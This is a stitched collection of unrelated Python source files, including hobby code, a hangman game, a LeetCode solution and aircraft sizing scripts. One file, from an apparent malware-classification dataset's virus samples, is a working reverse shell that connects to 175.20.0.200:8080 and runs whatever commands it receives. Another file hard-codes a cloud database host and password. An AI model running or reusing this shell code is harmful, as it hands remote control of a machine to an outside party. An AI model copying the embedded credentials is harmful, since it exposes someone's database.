tf.Variable(tf.zeros[gogi_num]) predict = tf.nn.softmax(tf.matmul(L1, W2) + b2) if layer_num == 2: x = tf.placeholder(tf.float32, [None, 768]) y = tf.placeholder(tf.float32, [None, gogi_num]) W = tf.Variable(tf.zeros([768, gogi_num])) b = tf.Variable(tf.zeros([gogi_num])) predict = tf.nn.softmax(tf.matmul(x, W) + b) loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=y, logits=predict)) train_step = tf.train.AdamOptimizer().minimize(loss) init = tf.global_variables_initializer() correct_predict = tf.equal(tf.argmax(y, 1), tf.argmax(predict, 1)) accuracy = tf.reduce_mean(tf.cast(correct_predict, tf.float32)) saver = tf.train.Saver() with tf.Session() as sess: sess.run(init) saver.restore(sess, 'model/51409_wsd_model.ckpt') print("51409(normal) : " + str(sess.run(accuracy, feed_dict={x:wsd_test_x, y:wsd_test_y})))
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/main.py
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marenthedejong/LaMa-Galgje
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def galgje(): import random #zorgt dat er een random woord wordt gekozen uit de lijst words= ['informatica', 'informatiekunde', 'spelletje', 'aardigheidje', 'scholier','fotografie', 'waardebepaling', 'specialiteit', 'verzekering','universiteit','heesterperk'] #alle woorden waar de computer uit kan kiezen word = random.choice(words) #definieert wat de variabele 'word' is en laat computer random woord kiezen print('Welkom bij lama galgje!') naam = input("Hoe heet je? ") #vraagt om naam/input gebruiker def printHallo(naam): print('Hallo ' + naam + ', veel plezier!') #gepersonaliseerde welkomsboodschap printHallo(naam) print('Je mag geen cijfers invoeren en je mag slechts 1 letter tegelijk raden. Als je een cijfer intoetst gaat dit niet van je beurten af, maar als je meer letters tegelijk probeert te raden gaat er wel een beurt af. Je mag door zolang je nog beurten hebt.') #spelregels print('Je hebt 5 beurten! Het woord is', + len(word), 'letters lang') #geeft weer hoe lang het woord is guesses = '' turns = 5 #zorgt dat er max. 5 beurten zijn guessed =[] #lijst met (fout) geraden letters while turns > 0: #wat er gebeurt als er nog beurten zijn failed = 0 #aantal keer dat er fouten worden gemaakt for letter in word: if letter in guesses: print(letter) else: print("_") #laat aantal letters zien en de goed geraden letter op de juiste plek failed +=1 #het aantal fouten neemt met 1 toe if failed == 0: print(naam, ', je hebt gewonnen, gefeliciteerd!') print("Het woord is: ", word) opnieuw() #winnaarsbericht en vraag opnieuw te spelen guess= input("Raad een letter:").lower() #vraagt om input gebruiker en zorgt dat het niet uitmaakt of het een grote of kleine letter is die wordt ingevoerd if guess.isnumeric() == True: print('Je mag geen cijfers gebruiken!') #zorgt ervoor dat er een foutboodschap komt bij invoer van een getal guesses += guess #laat de computer de geraden letter bij de guesses opslaan if ( guess not in word and guess.isalpha()and len(guess) ==1): #dus dit gebeurt alleen als de letter niet in het woord zit en dus een letter (en geef cijfer is) turns -= 1 #aantal beurten neemt met 1 af print("FOUT") print("Je hebt nog maar", + turns, 'beurten!') guessed.append(guess) guessed.sort() #zorgt ervoor dat de fout geraden letters in een lijst komen die ook op alfabetische volgorde staat print('Deze letters zitten niet in het woord:', guessed) if len(guess) >1 and guess.isalpha(): print('Je mag slechts 1 letter per keer raden!') turns -= 1 print("Je hebt nog maar", + turns, 'beurten!') #als de lengte van de invoer langer dan 1 karakter is neemt het aantal beurten met 1 af en wordt er een foutboodschap getoond if turns == 0: print(naam,', je hebt verloren, jammer joh!') print("Het woord is: ", word) opnieuw() #verliesbericht voor als beurten op zijn def opnieuw(): restart = input("Wil je opieuw spelen?").lower() if restart == 'ja': galgje() elif restart == 'nee': print('Bedankt voor het spelen, tot ziens!') exit() #functie voor het opnieuw spelen van het spel, bij ja gaat het spel opnieuw anders stopt het galgje() #laat het spel beginnen
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n, k, s = map(int, input().split()) ans = [] for i in range(k): ans.append(s) for i in range(n - k): if s + 1 <= 10 ** 9: ans.append(s + 1) else: ans.append(1) print(*ans)
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/nibbler/trading/collectors/testfiles/LINKMAGIC.py
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[]
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JizzFactoryEmployee/nibblerppman
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import pymysql import time import pandas as pd from tqdm import tqdm from datetime import datetime, timedelta def LINK(): print('LINKMAGIC START') try: data = pd.read_csv(r'/home/nibbler/nibblerppman/nibbler/trading/collectors/coins/LINK/1m/LINK1m.csv') #if the file is being populated it wont be found, thus a timeout is needed while it populates except FileNotFoundError: time.sleep(600) data = pd.read_csv(r'/home/nibbler/nibblerppman/nibbler/trading/collectors/coins/LINK/1m/LINK1m.csv') #set up the main connection my_conn = pymysql.connect( host='nibbler.cxadmpob69hk.ap-southeast-2.rds.amazonaws.com', port=3306, db='CoinData', user='Nibbler', password='Nibbler123', local_infile=1) my_cursor = my_conn.cursor() #selecting the last date time value from the database my_cursor.execute(''' select count(*) from LINK; ''') result = my_cursor.fetchall() a = str(result).strip("(,)") my_cursor.close() try: result = int((a)) except ValueError: pass print('LINK the database length is equal to :',result) print('LINK the csv length is equal to:', len(data)) if result == 0 or result == None: print('====LINK DATABASE IS EMPTY TIME TO POPULATE=======') my_cursor = my_conn.cursor() start1 = time.time() #pushing data into the database from the CSV file my_cursor.execute(''' LOAD DATA LOCAL INFILE '/home/nibbler/nibblerppman/nibbler/trading/collectors/coins/LINK/1m/LINK1m.csv' IGNORE INTO TABLE LINK FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' IGNORE 1 LINES;''') my_cursor.execute('SHOW WARNINGS') my_conn.commit() end1 = time.time() my_cursor.close() my_cursor = my_conn.cursor() #getting the length of the database file my_cursor.execute(''' select COUNT(*) FROM LINK; ''') Clean_results = my_cursor.fetchall() Clean_results = str(Clean_results).strip("(,)") Clean_results = int(Clean_results) my_cursor.close() print('total values pushed', Clean_results) print('=====PUSHED ENTIRE HISTORY IN:', end1-start1) if Clean_results != len(data): print('something went wrong, probably a datta error') gap = len(data) - result if result < len(data) and result > 0: print('this means we can a single value or we have a data error') #if the result is less than the data by one print('gap is equal to', gap,'therefore we need to push', gap, 'points to the database') #get the last 20 candles x = gap*-1 to_push = [] fuckyou = list(range(0,gap)) for i in fuckyou: lastpoints = data.iloc[x][0], data.iloc[x][1], data.iloc[x][2], float(data.iloc[x][3]), float(data.iloc[x][4]), float(data.iloc[x][5]), float(data.iloc[x][6]), float(data.iloc[x][7]) print(lastpoints) to_push.append(lastpoints) x = x+1 y = 0 for i in to_push: pair_1 = to_push[y][0] pair_2 = to_push[y][1] Date_Time = str(round(to_push[y][2], 0)) #need to change these value to equal that to the databse for each shitcoin Open_price = str(round(to_push[y][3], 4)) High_price = str(round(to_push[y][4], 4)) Low_price = str(round(to_push[y][5], 4)) Close_price = str(round(to_push[y][6], 4)) Volume = str(round(to_push[y][7], 4)) y = y+1 start2 = time.time() my_cursor = my_conn.cursor() my_cursor.execute('INSERT INTO LINK VALUES (%s,%s,%s,%s,%s,%s,%s,%s)', (pair_1, pair_2, Date_Time, Open_price, High_price, Low_price, Close_price, Volume)) my_conn.commit() end2 = time.time() if result > len(data): print('somLINKing went wrong, database is somehow longer than the csv, deleting all') my_cursor = my_conn.cursor() my_cursor.execute(''' DELETE FROM LINK; ''') my_conn.commit() my_cursor.close() print('data has been wiped, will repopulate next update') if result == len(data): print('SAME LENGTH DO NOTHING') print('LINKMAGIC DONE') LINK()
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#import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #import pythonista #Autogenerated by ReportLab guiedit do not edit from reportlab.graphics.charts.legends import Legend from reportlab.graphics.charts.barcharts import VerticalBarChart from reportlab.graphics.shapes import Drawing, _DrawingEditorMixin, String from reportlab.graphics.charts.textlabels import Label from reportlab.graphics.samples.excelcolors import * class StackedColumn(_DrawingEditorMixin,Drawing): def __init__(self,width=200,height=150,*args,**kw): Drawing.__init__(self,width,height,*args,**kw) self._add(self,VerticalBarChart(),name='chart',validate=None,desc="The main chart") self.chart.width = 115 self.chart.height = 80 self.chart.x = 30 self.chart.y = 40 self.chart.bars[0].fillColor = color01 self.chart.bars[1].fillColor = color02 self.chart.bars[2].fillColor = color03 self.chart.bars[3].fillColor = color04 self.chart.bars[4].fillColor = color05 self.chart.bars[5].fillColor = color06 self.chart.bars[6].fillColor = color07 self.chart.bars[7].fillColor = color08 self.chart.bars[8].fillColor = color09 self.chart.bars[9].fillColor = color10 self.chart.fillColor = backgroundGrey self.chart.barLabels.fontName = 'Helvetica' self.chart.valueAxis.labels.fontName = 'Helvetica' self.chart.valueAxis.labels.fontSize = 7 self.chart.valueAxis.forceZero = 1 self.chart.data = [(100, 150, 180), (125, 180, 200)] self.chart.groupSpacing = 15 self.chart.valueAxis.avoidBoundFrac = 1 self.chart.valueAxis.gridEnd = 115 self.chart.valueAxis.tickLeft = 3 self.chart.valueAxis.visibleGrid = 1 self.chart.categoryAxis.categoryNames = ['North', 'South', 'Central'] self.chart.categoryAxis.tickDown = 3 self.chart.categoryAxis.labels.fontName = 'Helvetica' self.chart.categoryAxis.labels.fontSize = 7 self._add(self,Label(),name='Title',validate=None,desc="The title at the top of the chart") self.Title.fontName = 'Helvetica-Bold' self.Title.fontSize = 7 self.Title.x = 100 self.Title.y = 135 self.Title._text = 'Chart Title' self.Title.maxWidth = 180 self.Title.height = 20 self.Title.textAnchor ='middle' self._add(self,Legend(),name='Legend',validate=None,desc="The legend or key for the chart") self.Legend.colorNamePairs = [(color01, 'Widgets'), (color02, 'Sprockets')] self.Legend.fontName = 'Helvetica' self.Legend.fontSize = 7 self.Legend.x = 153 self.Legend.y = 85 self.Legend.dxTextSpace = 5 self.Legend.dy = 5 self.Legend.dx = 5 self.Legend.deltay = 5 self.Legend.alignment ='right' self._add(self,Label(),name='XLabel',validate=None,desc="The label on the horizontal axis") self.XLabel.fontName = 'Helvetica' self.XLabel.fontSize = 7 self.XLabel.x = 85 self.XLabel.y = 10 self.XLabel.textAnchor ='middle' self.XLabel.maxWidth = 100 self.XLabel.height = 20 self.XLabel._text = "X Axis" self._add(self,Label(),name='YLabel',validate=None,desc="The label on the vertical axis") self.YLabel.fontName = 'Helvetica' self.YLabel.fontSize = 7 self.YLabel.x = 12 self.YLabel.y = 80 self.YLabel.angle = 90 self.YLabel.textAnchor ='middle' self.YLabel.maxWidth = 100 self.YLabel.height = 20 self.YLabel._text = "Y Axis" self.chart.categoryAxis.style='stacked' self._add(self,0,name='preview',validate=None,desc=None) if __name__=="__main__": #NORUNTESTS StackedColumn().save(formats=['pdf'],outDir=None,fnRoot='stacked_column')
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/Math/367_Valid_Perfect_Square.py
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refs/heads/master
2021-06-12T09:26:01.257348
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""" 求给定的num是否是一个数的平方。 牛顿迭代法求平方根: 设r是函数y=f(x)的根,使用牛顿迭代法,给定一个初始值x0,过x0做切线,y = f(x0) + f'(x0)(x-x0),求 该切线与x轴的交点x1 = x0 - f(x0)/f'(x0),称x1为r的一次近似值,再过(x1,f(x1))做切线。以此循环下去 所以迭代公式为:xn+1 = xn - f(xn)/f'(xn) 对于求平方根,x^2 - n = 0, 可看做函数 f(x) = y = x^2 - n,f'(x) = 2x, 则迭代公式为: xn+1 = xn - (xn^2 - n)/(2*xn) = xn - xn/2 + n/(2xn) = 1/2(xn + n/xn) """ class Solution(object): def isPerfectSquare1(self, num): """ :type num: int :rtype: bool """ r = num while r * r > num: r = (r + num//r)//2 return r * r == num # 法二:A square number is 1+3+5+7+... def isPerfectSquare(self, num): i = 1 while num > 0: num -= i i += 2 return num == 0
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/host_im/mount/malware-classification-master/samples/virus/sample_bad190.py
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import subprocess import hmac import crypt import hashlib import zlib import lzma import threading import bz2 import zipfile import socket import tarfile import gzip s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
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/Code/CodeRecords/2718/60652/241534.py
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l=list("".join(input())) s= input().replace(',', '').replace('[', '').replace(']', '') index=0 while index<len(s): tmp=l[int(s[index])] l[int(s[index])]=l[int(s[index+1])] l[int(s[index+1])]=tmp index+=2 print("".join(str(i) for i in l))
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/.history/Sizing_Method/ConstrainsAnalysis/ConstrainsAnalysis_20210714170213.py
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# author: Bao Li # # Georgia Institute of Technology # import sys import os sys.path.insert(0, os.getcwd()) import numpy as np import matplotlib.pylab as plt import Sizing_Method.Other.US_Standard_Atmosphere_1976 as atm import Sizing_Method.Aerodynamics.ThrustLapse as thrust_lapse import Sizing_Method.Aerodynamics.Aerodynamics as ad """ The unit use is IS standard """ class ConstrainsAnalysis_Mattingly_Method: """This is a power-based master constraints analysis""" def __init__(self, altitude, velocity, beta, wing_load, Hp=0, C_DR=0): """ :param tau: power fraction of i_th power path :param beta: weight fraction :param K1: drag polar coefficient for 2nd order term :param K2: drag polar coefficient for 1st order term :param C_D0: the drag coefficient at zero lift :param C_DR: additional drag caused, for example, by external stores, braking parachutes or flaps, or temporary external hardware :return: power load: P_WTO """ self.h = altitude self.v = velocity self.rho = atm.atmosphere(geometric_altitude=self.h).density() self.beta = beta self.hp = Hp # power lapse ratio self.alpha = thrust_lapse.thrust_lapse_calculation(altitude=self.h, velocity=self.v).high_bypass_ratio_turbofan() self.K1 = ad.aerodynamics_without_pd(self.h, self.v).K1() self.K2 = ad.aerodynamics_without_pd(self.h, self.v).K2() self.C_D0 = ad.aerodynamics_without_pd(self.h, self.v).CD_0() self.C_DR = C_DR self.W_S = wing_load self.g0 = 9.80665 self.coeff = (1-self.hp) * self.beta / self.alpha def master_equation(self, n, dh_dt, dV_dt): q = 0.5 * self.rho * self.v ** 2 linear_term = self.K1 * n ** 2 * self.beta / q inverse_term = (self.C_D0 + self.C_DR) * q / self.beta constant_term = self.K2 * n + dh_dt / self.v + dV_dt / self.g0 # print(linear_term,'\n', inverse_term, '\n', constant_term) P_WTO = self.coeff * (linear_term * self.W_S + inverse_term / self.W_S + constant_term) * self.v return P_WTO def cruise(self): P_WTO = ConstrainsAnalysis_Mattingly_Method.master_equation(self, n=1, dh_dt=0, dV_dt=0) return P_WTO def climb(self, roc): P_WTO = ConstrainsAnalysis_Mattingly_Method.master_equation(self, n=1, dh_dt=roc, dV_dt=0) return P_WTO def level_turn(self, turn_rate=3, v=100): """ assume 2 min for 360 degree turn, which is 3 degree/seconds assume turn at 300 knots, which is about 150 m/s """ load_factor = (1 + ((turn_rate * np.pi / 180) * v / self.g0) ** 2) ** 0.5 P_WTO = ConstrainsAnalysis_Mattingly_Method.master_equation(self, n=load_factor, dh_dt=0, dV_dt=0) return P_WTO def take_off(self): """ A320neo take-off speed is about 150 knots, which is about 75 m/s required runway length is about 2000 m K_TO is a constant greater than one set to 1.2 (generally specified by appropriate flying regulations) """ Cl_max_to = 2.3 # 2.3 K_TO = 1.2 # V_TO / V_stall s_G = 1266 P_WTO = 2 / 3 * self.coeff * self.beta * K_TO ** 2 / (s_G * self.rho * self.g0 * Cl_max_to) * self.W_S ** ( 3 / 2) return P_WTO def stall_speed(self): V_stall_to = 65 V_stall_ld = 62 Cl_max_to = 2.32 Cl_max_ld = 2.87 W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * Cl_max_to W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * Cl_max_ld W_S = min(W_S_1, W_S_2) return W_S def service_ceiling(self, roc=0.5): P_WTO = ConstrainsAnalysis_Mattingly_Method.master_equation(self, n=1, dh_dt=roc, dV_dt=0) return P_WTO allFuncs = [stall_speed, take_off, cruise, service_ceiling, level_turn, climb] class ConstrainsAnalysis_Gudmundsson_Method: """This is a power-based master constraints analysis based on Gudmundsson_method""" def __init__(self, altitude, velocity, beta, wing_load, Hp=0, e=0.75, AR=10.3): """ :param tau: power fraction of i_th power path :param beta: weight fraction :param e: wing planform efficiency factor is between 0.75 and 0.85, no more than 1 :param AR: wing aspect ratio, normally between 7 and 10 :return: power load: P_WTO """ self.h = altitude self.v = velocity self.beta = beta self.w_s = wing_load self.g0 = 9.80665 self.hp = Hp self.rho = atm.atmosphere(geometric_altitude=self.h).density() self.q = 0.5 * self.rho * self.v ** 2 # power lapse ratio self.alpha = thrust_lapse.thrust_lapse_calculation(altitude=self.h, velocity=self.v).high_bypass_ratio_turbofan() h = 2.43 # height of winglets b = 35.8 ar_corr = AR * (1 + 1.9 * h / b) # equation 9-88, If the wing has winglets the aspect ratio should be corrected self.k = 1 / (np.pi * ar_corr * e) self.coefficient = (1-self.hp) * self.beta * self.v / self.alpha # TABLE 3-1 Typical Aerodynamic Characteristics of Selected Classes of Aircraft self.cd_min = 0.02 self.cd_to = 0.03 self.cl_to = 0.8 self.v_to = 68 self.s_g = 1480 self.mu = 0.04 def cruise(self): p_w = self.q * self.cd_min / self.w_s + self.k / self.q * self.w_s return p_w * self.coefficient def climb(self, roc): p_w = roc / self.v + self.q * self.cd_min / self.w_s + self.k / self.q * self.w_s return p_w * self.coefficient def level_turn(self, turn_rate=3, v=100): """ assume 2 min for 360 degree turn, which is 3 degree/seconds assume turn at 100 m/s """ load_factor = (1 + ((turn_rate * np.pi / 180) * v / self.g0) ** 2) ** 0.5 q = 0.5 * self.rho * v ** 2 p_w = q * (self.cd_min / self.w_s + self.k * (load_factor / q) ** 2 * self.w_s) return p_w * self.coefficient def take_off(self): q = self.q / 2 p_w = self.v_to ** 2 / (2 * self.g0 * self.s_g) + q * self.cd_to / self.w_s + self.mu * ( 1 - q * self.cl_to / self.w_s) return p_w * self.coefficient def service_ceiling(self, roc=0.5): """ t_w = 0.3 s = 124 cd_max = 0.04 l = 0.5 * self.rho * self.v ** 2 * s * self.w_s / self.q d_max = 0.5 * self.rho * self.v ** 2 * s * cd_max # equation 18-24: Airspeed for Best ROC for a Jet vy = (t_w * self.w_s / (3 * self.rho * self.cd_min) * (1 + (1 + 3 / (l * d_max ** 2 * t_w ** 2)) ** 0.5)) ** 0.5 q = 0.5 * self.rho * vy ** 2 p_w = roc / self.v + q / self.w_s * (self.cd_min + self.k * (self.w_s / q) ** 2) """ p_w = roc / (2 / self.rho * self.w_s * (self.k / (3 * self.cd_min)) ** 0.5) ** 0.5 + 4 * ( self.k * self.cd_min / 3) ** 0.5 return p_w * self.coefficient def stall_speed(self, V_stall_to=65, Cl_max_to=2.32): V_stall_ld = 62 Cl_max_ld = 2.87 W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * Cl_max_to W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * Cl_max_ld W_S = min(W_S_1, W_S_2) return W_S allFuncs = [stall_speed, take_off, cruise, service_ceiling, level_turn, climb] if __name__ == "__main__": n = 250 w_s = np.linspace(100, 9000, n) constrains_name = ['take off', 'stall speed', 'cruise', 'service ceiling', 'level turn @3000m', 'climb @S-L', 'climb @3000m', 'climb @7000m'] constrains = np.array([[0, 68, 0.988], [0, 80, 1], [11300, 230, 0.948], [11900, 230, 0.8], [3000, 100, 0.984], [0, 100, 0.984], [3000, 200, 0.975], [7000, 230, 0.96]]) color = ['c', 'k', 'b', 'g', 'y', 'plum', 'violet', 'm'] m = constrains.shape[0] p_w = np.zeros([2 * m, n]) plt.figure(figsize=(12, 8)) for i in range(m): for j in range(n): h = constrains[i, 0] v = constrains[i, 1] beta = constrains[i, 2] problem1 = ConstrainsAnalysis_Gudmundsson_Method(h, v, beta, w_s[j]) problem2 = ConstrainsAnalysis_Mattingly_Method(h, v, beta, w_s[j]) if i >= 5: p_w[i, j] = problem1.allFuncs[-1](problem1, roc=15 - 5 * (i - 5)) p_w[i + m, j] = problem2.allFuncs[-1](problem2, roc=15 - 5 * (i - 5)) else: p_w[i, j] = problem1.allFuncs[i](problem1) p_w[i + m, j] = problem2.allFuncs[i](problem2) if i == 0: pa, = plt.plot(p_w[i, :], np.linspace(0, 250, n), color=color[i], label=constrains_name[i]) pb, = plt.plot(p_w[i + m, :], np.linspace(0, 250, n), color=color[i], linestyle='--') l1 = plt.legend([pa, pb], ['Gudmundsson method', 'Mattingly method'], loc="upper right") else: plt.plot(w_s, p_w[i, :], color=color[i], label=constrains_name[i]) plt.plot(w_s, p_w[i + m, :], color=color[i], linestyle='--') p_w p_w[0, :] = 10 ** 10 * (w_s - p_w[1, 2]) p_w p_w[ m, :] = 10 ** 10 * (w_s - p_w[1 + m, 2]) plt.fill_between(w_s, np.amax(p_w[0:m, :], axis=0), 200, color='b', alpha=0.25, label='feasible region Gudmundsson') plt.fill_between(w_s, np.amax(p_w[m:2 * m-1, :], axis=0), 200, color='r', alpha=0.25, label='feasible region Mattingly') plt.plot(6012, 72, 'r*', markersize=10, label='True Conventional') plt.xlabel('Wing Load: $W_{TO}$/S (N/${m^2}$)') plt.ylabel('Power-to-Load: $P_{SL}$/$W_{TO}$ (W/N)') plt.title(r'Constraint Analysis: $\bf{without}$ $\bf{DP}$ - Normalized to Sea Level') plt.legend(bbox_to_anchor=(1.002, 1), loc="upper left") plt.gca().add_artist(l1) plt.xlim(100, 9000) plt.ylim(0, 200) plt.tight_layout() plt.grid() plt.show()
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from .context import FxToOnnxContext from .serialization import save_model_with_external_data __all__ = [ "save_model_with_external_data", "FxToOnnxContext", ]
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#!/Users/jhflorey/Documents/Dojo/Python/Django_Intro/bin/python2.7 # -*- coding: utf-8 -*- import re import sys from sqlparse.__main__ import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())
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ii = [('CookGHP3.py', 21), ('SadlMLP.py', 1), ('WilbRLW.py', 29), ('RennJIT.py', 1), ('ProuWCM.py', 2), ('AubePRP2.py', 7), ('UnitAI.py', 1), ('WilbRLW5.py', 1), ('MarrFDI3.py', 1), ('PeckJNG.py', 2), ('AubePRP.py', 35), ('FitzRNS3.py', 2), ('WilbRLW2.py', 2), ('ClarGE2.py', 74), ('CarlTFR.py', 5), ('AdamHMM.py', 1), ('RoscTTI2.py', 1), ('CrokTPS.py', 5), ('ClarGE.py', 30), ('LyelCPG.py', 55), ('DaltJMA.py', 1), ('WestJIT2.py', 1), ('WadeJEB.py', 7), ('WheeJPT.py', 2), ('MereHHB3.py', 6), ('HogaGMM.py', 3), ('MartHRW.py', 1), ('WestJIT.py', 6), ('CoolWHM3.py', 2), ('FitzRNS.py', 1), ('StorJCC.py', 9), ('WilbRLW3.py', 2), ('ClarGE3.py', 36), ('FitzRNS2.py', 2), ('HogaGMM2.py', 3), ('EvarJSP.py', 19), ('DwigTHH.py', 4), ('SadlMLP2.py', 5), ('LyelCPG3.py', 4), ('DibdTBR.py', 1)]
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#reads the list back from the json file import json filename = 'numbers.json' with open(filename) as f_obj: numbers = json.load(f_obj) print(numbers)
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#!/usr/bin/env python #from MonoHBranchReader import AnalyzeDataSet, CheckFilter, MakeTable, DeltaR, Phi_mpi_pi import os mode='wj' #inputfilename='NCUGlobalTuples_1.root' #inputfilename='input.txt' #outfilename='out.root' inputfilename = os.environ['INPUT'] outfilename = os.environ['OUTPUT'] if mode == 'signal': os.system('./MonoHBranchReader.py -m 100.0 -M 150.0 -i '+inputfilename+' -o '+outfilename+' -a -j 0 -J 2 -l 0 -L 1 --MLow1 100.0 --MHigh1 150.0 -F ') if mode == 'signalpSB': os.system('./MonoHBranchReader.py -m 30.0 -M 250.0 -i '+inputfilename+' -o '+outfilename+' -a -j 0 -J 2 -l 0 -L 1 --MLow1 30.0 --MHigh1 250.0 -F ') ## Mass Sidebands ## inverting the mass cut if mode == 'zj': os.system('./MonoHBranchReader.py -m 30.0 -M 100.0 -i '+inputfilename+' -o '+outfilename+' -a -j 0 -J 2 -l 0 -L 1 --MLow1 150.0 --MHigh1 250.0 -F') ##WJets ## 1 additinal lepton ## remove the mass cut if mode == 'wj': os.system('./MonoHBranchReader.py -m 30.0 -M 250.0 -i '+inputfilename+' -o '+outfilename+' -a -j 1 -J 2 -l 1 -L 2 --MLow1 30.0 --MHigh1 250.0 -F') ##TT ## 1 additional lepton ## >1 additional jets if mode == 'tt': os.system('./MonoHBranchReader.py -m 30.0 -M 250.0 -i '+inputfilename+' -o '+outfilename+' -a -j 2 -J 10 -l 1 -L 2 --MLow1 30.0 --MHigh1 250.0 -F') ## TT+WJ if mode == 'wt': os.system('./MonoHBranchReader.py -m 30.0 -M 250.0 -i '+inputfilename+' -o '+outfilename+' -a -j 0 -J 10 -l 1 -L 2 --MLow1 30.0 --MHigh1 250.0 -F') ## WJAlphaBet if mode == 'wjalphabet': os.system('./MonoHBranchReader.py -m 30.0 -M 100.0 -i '+inputfilename+' -o '+outfilename+' -a -j 1 -J 2 -l 1 -L 2 --MLow1 150.0 --MHigh1 250.0 -F') ## TTAlphabet if mode == 'ttalphabet': os.system('./MonoHBranchReader.py -m 30.0 -M 100.0 -i '+inputfilename+' -o '+outfilename+' -a -j 2 -J 10 -l 1 -L 2 --MLow1 150.0 --MHigh1 250.0 -F') ##WTAlphabet if mode == 'wtalphabet': os.system('./MonoHBranchReader.py -m 30.0 -M 100.0 -i '+inputfilename+' -o '+outfilename+' -a -j 0 -J 10 -l 1 -L 2 --MLow1 150.0 --MHigh1 250.0 -F')
